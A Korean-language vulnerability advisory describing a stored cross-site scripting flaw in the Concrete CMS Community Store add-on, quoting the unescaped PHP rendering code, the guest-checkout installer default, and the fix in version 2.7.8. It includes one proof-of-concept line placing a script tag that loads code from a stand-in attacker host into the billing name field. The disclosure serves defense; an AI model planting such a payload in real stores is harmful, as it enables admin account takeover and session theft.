
Concrete CMS Community Store의 저장형 XSS는 관리자 대시보드 탈취로 이어집니다
| CVE | CVE-2026-93659 |
| 구성 요소 | concretecms-community-store/community_store |
| 유형 | 저장형 크로스 사이트 스크립팅 (CWE-79) |
| 심각도 | CVSS v4.0 9.3 치명적 / v3.1 8.7 높음 |
| 영향 받는 버전 | 2.7.8 이전 모든 버전 |
| 수정된 버전 | 2.7.8 |
| 공로 | Prince Edem Fiagbedzi (발견자) |
Concrete CMS용 오픈소스 전자상거래 애드온인 Community Store는 고객이 제공한 주문 필드를 살균하지 않고 저장했으며, 네 개의 관리자 대상 뷰에서 HTML 이스케이프 없이 렌더링했습니다. 인증되지 않은 방문자 누구나 청구지 이름과 같은 필드에 스크립트 페이로드를 넣어 주문할 수 있었고, 해당 페이로드는 상점 관리자가 다음에 그 주문을 열 때 인증된 대시보드 세션 내에서 실행되어, 악성 관리자 계정을 생성하거나 세션 데이터를 유출하기에 충분했습니다.
모든 주문에는 고객이 제공한 필드가 포함됩니다: 청구지/배송지 이름, 성, 이메일, 전화번호. 이러한 필드는 그대로 저장되며 상점 관리자가 일상적으로 확인하는 네 곳에서 다시 렌더링됩니다:
single_pages/dashboard/store/orders.php)elements/order_slip.php)single_pages/dashboard/store/reports/*.php)single_pages/checkout/complete.php)결정적으로, 주문을 하려면 계정이 필요하지 않습니다. Community Store의 게스트 결제 설정은 기본값이 always이며, 이는 패키지 자체의 설치 프로그램이 모든 새 설치에서 설정하는 값으로, 상점 운영자가 선택해야 하는 것이 아닙니다. 따라서 이는 잘못 구성된 상점이 필요한 버그가 아니라, 기본 상태의 즉시 사용 가능한 설치에서 자격 증명 없이 악용 가능한 취약점입니다.
Community Store를 2.7.8 이상으로 업데이트하십시오. 이 수정은 영향을 받는 네 개의 렌더링 위치 모두에 적절한 출력 이스케이프를 추가합니다. 취약한 동작은 토글이 아니라 이스케이프 자체이므로, 업그레이드 외에 구성 우회 방법은 없습니다.
네 개의 렌더링 위치 중 어느 것도 고객이 제어하는 필드를 이스케이프하지 않았습니다. 관리자 주문 뷰의 대표적인 줄:
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>
Concrete의 표준 출력 이스케이프 헬퍼인 h() 호출이 근처에 전혀 없었으며, 같은 파일의 몇 줄 떨어진 곳에서는 다른 값에 대해 h()를 올바르게 사용하고 있었습니다. 입력 검증도 나을 것이 없었습니다: 이 필드에 적용된 유일한 검사는 길이 제한(1-255자)이었고, HTML을 제거하거나 거부하는 것은 없었습니다.
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization
청구지 이름 필드에 255자 미만의 <script> 페이로드는 검증을 그대로 통과하고, 저장되며, 나중에 관리자가 주문을 볼 때마다 이스케이프 없이 렌더링됩니다.
게스트 결제 기본값은 설치 프로그램에서 직접 설정됩니다:
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
...
'guestCheckout' => 'always'
]);
결제 컨트롤러는 해당 설정이 off일 때(또는 게스트 플래그 없는 option일 때)만 로그인을 강제하며, 설치된 기본값에서는 그 분기가 절대 실행되지 않습니다.
Concrete CMS 9.5.2의 Community Store v2.7.7에 대해 테스트했습니다(자체 호스팅 Docker 랩, PHP 8.3). 페이로드는 일반 게스트 결제로 제출되었으며, 어떠한 인증도 없었습니다:
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
2a802d6으로 수정 사항을 배포하여, 영향을 받는 네 개의 렌더링 위치 모두에 h() 이스케이프를 추가함